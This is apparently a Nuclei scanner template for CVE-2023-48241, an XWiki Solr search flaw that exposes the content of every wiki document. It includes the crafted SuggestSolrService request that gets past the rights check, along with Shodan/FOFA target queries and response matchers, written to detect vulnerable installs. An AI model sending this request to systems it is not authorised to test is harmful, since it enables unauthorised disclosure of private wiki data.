id: CVE-2023-48241 info: name: XWiki < 4.10.15 - Information Disclosure author: ritikchaddha severity: high description: | The Solr-based search suggestion provider that also duplicates as generic JavaScript API for search results in XWiki exposes the content of all documents of all wikis to anybody who has access to it, by default it is public. This exposes all information stored in the wiki (but not some protected information like password hashes). While there is a right check normally, the right check can be circumvented by explicitly requesting fields from Solr that don't include the data for the right check. This can be reproduced by opening /xwiki/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+ where is the URL of the XWiki installation. If this displays any results, the wiki is vulnerable. impact: | Successful exploitation could lead to disclosure of content of all documents of all wikis. remediation: | This has been fixed in XWiki 15.6RC1, 15.5.1 and 14.10.15 by not listing documents whose rights cannot be checked. reference: - https://jira.xwiki.org/browse/XWIKI-21138 - https://nvd.nist.gov/vuln/detail/CVE-2023-48241 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-48241 cwe-id: CWE-285 cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* metadata: max-request: 2 verified: true vendor: xwiki product: xwiki shodan-query: html:"data-xwiki-reference" fofa-query: body="data-xwiki-reference" tags: cve,cve2024,xwiki,exposure http: - method: GET path: - "{{BaseURL}}/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+" - "{{BaseURL}}/xwiki/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+" stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - '{"reference":' - 'title_":' condition: or - type: dsl dsl: - 'contains(body, "services.localization.render")' - 'contains(header, "application/json")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100a87fc68c73caabf16ae33493b118c22387877377d4c4dcee3500d402561ab9af0221009079622be976acd9da8d175c001e76b238853660573fd519b191cd232d539006:922c64590222798bb761d5b6d8e72950